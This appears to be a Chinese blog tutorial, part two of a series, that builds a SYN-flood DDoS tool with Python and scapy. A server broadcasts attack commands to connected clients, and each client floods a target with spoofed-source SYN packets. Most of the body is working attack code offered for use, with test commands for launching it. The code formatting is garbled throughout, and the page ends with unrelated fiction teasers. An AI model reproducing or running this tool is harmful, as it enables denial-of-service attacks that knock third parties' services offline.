用Python-scapy實現SYNDdos攻擊(2)

四在第一篇學習了基礎知識抖棘,本篇實現Server和Client的編碼實現

  1. Server端
    由于Server端能等待Client主動連接,所以在Server端發(fā)送命令嗦明,控制Client端發(fā)起SYN泛洪攻擊椭更。
    實現主函數的完整邏輯,在主函數中創(chuàng)建socket饶深, 綁定所有網絡地址和58868端口并開始監(jiān)聽餐曹,之后新開一個線程來等待客戶端的連接,以免阻塞輸入命令敌厘。
def main(): 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    s.bind(('0.0.0.0', 58868)) 
    s.listen(1024) 
    t = Thread(target=waitConnect,args=(s,)) 
    t.start()
    print('Wait at least a client connection!') 
    while not len(socketList):  #主函數中我們第一次輸入命令之前需要至少有一個客戶端連接到服務器
      pass 
    print('It has been a client connection!')
    
    while True: print('=' * 50) 
        print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"') 
        #等待輸入命令 
        cmd_str = input('Please input cmd:') 
        if len(cmd_str): 
              if cmd_str[0] == '#': 
                sendCmd(cmd_str)  ##如果滿足了台猴,我們就把命令發(fā)送給所有客戶端。

編寫主函數中沒有完成的子功能俱两。 首先我們應該實現等待客戶端的函數饱狂,方便開啟新的線程。

#等待連接
def waitConnect(s): 
    while True: 
          sock,addr = s.accept() 
    if sock not in socketList:  #新連接的socket要判斷一下是否在socketList中已經存儲過了宪彩,如果沒有的話就添加到socketList中
          socketList.append(sock)
#發(fā)送命令
def sendCmd(cmd): 
      print('Send command......') 
      for sock in socketList: 
        sock.send(cmd.encode('utf-8'))
  1. Client端
    在Client端實現對主機的SYN泛洪攻擊休讳,并在腳本啟動后主動連接Server端,等待Server端發(fā)送命令尿孔。
    在主函數中先創(chuàng)建ArgumentParser()對象衍腥,并將需要解析的命令參數添加好磺樱。
def main():
     p = argparse.ArgumentParser() 
     p.add_argument('-H', dest='host', type=str) 
     p.add_argument('-p', dest='port', type=int) 
     p.add_argument('-c', dest='cmd', type=str)```
    ``` 
 #測試我們連接到本地地址的58868端口吧!之后我們就可以等待服務器發(fā)送命令了婆咸。
    try:
       s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
       s.connect(('127.0.0.1',58868)) print('To connected server was success!') 
       print("=" * 40) 
       cmdHandle(s,p)
     ```

except:
print('The network connected failed!')
print('Please restart the script!')
sys.exit(0)

將接收命令和處理命令定義在了一個單獨的函數中。在這里用到了一個全局變量芜辕,用于判斷是否有進程正在發(fā)起SYN泛洪攻擊尚骄。之后就開始循環(huán)接收命令了,接收之后到的數據是byte型侵续,需要對其進行解碼倔丈,解碼之后才是字符串。如果接收到的數據長度為0状蜗,就跳過后續(xù)的內容需五,重新接收數據。

處理命令

def cmdHandle(sock,parser):
global curProcess
while True:
#接收命令
data = sock.recv(1024).decode('utf-8')
if len(data) == 0:
print('The data is empty')
continue

如果數據的長度不為0轧坎,就判斷是否具有命令基本格式的特征(#)宏邮,滿足基本條件就需要用我們的ArgumentParser對象來解析命令了

if data[0] == '#':
try: #解析命令
options = parser.parse_args(data[1:].split())
m_host = options.host m_port = options.port
m_cmd = options.cmd

命令參數解析出來后,我么就要判斷到底是start命令還是stop命令了缸血,如果是start命令蜜氨,我們首先判斷當前是否有進程在運行,如果有進程判斷進程是否存活捎泻。如果當前有進程正在發(fā)起SYN泛洪攻擊飒炎,我們就先結束這個進程,并清空屏幕笆豁。然后我們就直接啟動一個進程郎汪,發(fā)起SYN泛洪攻擊

DDoS啟動命令

if m_cmd.lower() == 'start':
if curProcess != None and curProcess.is_alive():
#結束進程
curProcess.terminate() curProcess = None
os.system('clear')
print('The synFlood is start')
p = Process(target=synFlood,args=(m_host,m_port))
p.start() curProcess = p

DDoS停止命令

  elif m_cmd.lower() =='stop': 
        if curProcess.is_alive(): 
            curProcess.terminate()
           os.system('clear') 
except: 
      print('Failed to perform the command!')
###五、測試
 - 運行Server腳本
``` sudo python3 ddosSrv.py ```
 - 運行Client腳本
```sudo python3 ddosCli.py ```

 - 輸入一個命令測試一下
```#-H x.x.x.x -p 80 -c start  ```

#####Client端源代碼:

!/usr/bin/python3

-- coding: utf-8 --

import sys
import socket
import random
import argparse
from multiprocessing import Process
from scapy.all import *
import os
isWorking = False
curProcess = None

SYN泛洪攻擊

def synFlood(tgt,dPort):
print('='100)
print('The syn flood is running!')
print('='
100)
srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
for sPort in range(1024,65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
packet = ipLayer / tcpLayer
send(packet)

命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start>'

處理命令

def cmdHandle(sock,parser):
global curProcess
while True:
#接收命令
data = sock.recv(1024).decode('utf-8')
if len(data) == 0:
print('The data is empty')
return
if data[0] == '#':
try:
#解析命令
options = parser.parse_args(data[1:].split())
m_host = options.host
m_port = options.port
m_cmd = options.cmd
#DDoS啟動命令
if m_cmd.lower() == 'start':
if curProcess != None and curProcess.is_alive():
curProcess.terminate()
curProcess = None
os.system('clear')
print('The synFlood is start')
p = Process(target=synFlood,args=(m_host,m_port))
p.start()
curProcess = p
#DDoS停止命令
elif m_cmd.lower() =='stop':
if curProcess.is_alive():
curProcess.terminate()
os.system('clear')
except:
print('Failed to perform the command!')

def main():
#添加需要解析的命令
p = argparse.ArgumentParser()
p.add_argument('-H', dest='host', type=str)
p.add_argument('-p', dest='port', type=int)
p.add_argument('-c', dest='cmd', type=str)
print("*" * 40)
try:
#創(chuàng)建socket對象
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#連接到服務器端
s.connect(('127.0.0.1',58868))
print('To connected server was success!')
print("=" * 40)
#處理命令
cmdHandle(s,p)
except:
print('The network connected failed!')
print('Please restart the script!')
sys.exit(0)

if name == 'main':
main()

結束
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末闯狱,一起剝皮案震驚了整個濱河市煞赢,隨后出現的幾起案子,更是在濱河造成了極大的恐慌扩氢,老刑警劉巖耕驰,帶你破解...
    沈念sama閱讀 211,817評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現場離奇詭異录豺,居然都是意外死亡朦肘,警方通過查閱死者的電腦和手機,發(fā)現死者居然都...
    沈念sama閱讀 90,329評論 3 385
  • 文/潘曉璐 我一進店門双饥,熙熙樓的掌柜王于貴愁眉苦臉地迎上來媒抠,“玉大人,你說我怎么就攤上這事咏花∨可” “怎么了阀趴?”我有些...
    開封第一講書人閱讀 157,354評論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長苍匆。 經常有香客問我刘急,道長,這世上最難降的妖魔是什么浸踩? 我笑而不...
    開封第一講書人閱讀 56,498評論 1 284
  • 正文 為了忘掉前任叔汁,我火速辦了婚禮,結果婚禮上检碗,老公的妹妹穿的比我還像新娘据块。我一直安慰自己,他們只是感情好折剃,可當我...
    茶點故事閱讀 65,600評論 6 386
  • 文/花漫 我一把揭開白布另假。 她就那樣靜靜地躺著,像睡著了一般怕犁。 火紅的嫁衣襯著肌膚如雪边篮。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,829評論 1 290
  • 那天因苹,我揣著相機與錄音苟耻,去河邊找鬼。 笑死扶檐,一個胖子當著我的面吹牛凶杖,可吹牛的內容都是我干的。 我是一名探鬼主播款筑,決...
    沈念sama閱讀 38,979評論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼智蝠,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了奈梳?” 一聲冷哼從身側響起杈湾,我...
    開封第一講書人閱讀 37,722評論 0 266
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎攘须,沒想到半個月后漆撞,有當地人在樹林里發(fā)現了一具尸體,經...
    沈念sama閱讀 44,189評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡于宙,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 36,519評論 2 327
  • 正文 我和宋清朗相戀三年浮驳,在試婚紗的時候發(fā)現自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片捞魁。...
    茶點故事閱讀 38,654評論 1 340
  • 序言:一個原本活蹦亂跳的男人離奇死亡至会,死狀恐怖,靈堂內的尸體忽然破棺而出谱俭,到底是詐尸還是另有隱情奉件,我是刑警寧澤宵蛀,帶...
    沈念sama閱讀 34,329評論 4 330
  • 正文 年R本政府宣布,位于F島的核電站县貌,受9級特大地震影響术陶,放射性物質發(fā)生泄漏。R本人自食惡果不足惜煤痕,卻給世界環(huán)境...
    茶點故事閱讀 39,940評論 3 313
  • 文/蒙蒙 一瞳别、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧杭攻,春花似錦、人聲如沸疤坝。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,762評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽跑揉。三九已至锅睛,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間历谍,已是汗流浹背现拒。 一陣腳步聲響...
    開封第一講書人閱讀 31,993評論 1 266
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留望侈,地道東北人印蔬。 一個月前我還...
    沈念sama閱讀 46,382評論 2 360
  • 正文 我出身青樓,卻偏偏與公主長得像脱衙,于是被迫代替她去往敵國和親侥猬。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 43,543評論 2 349

推薦閱讀更多精彩內容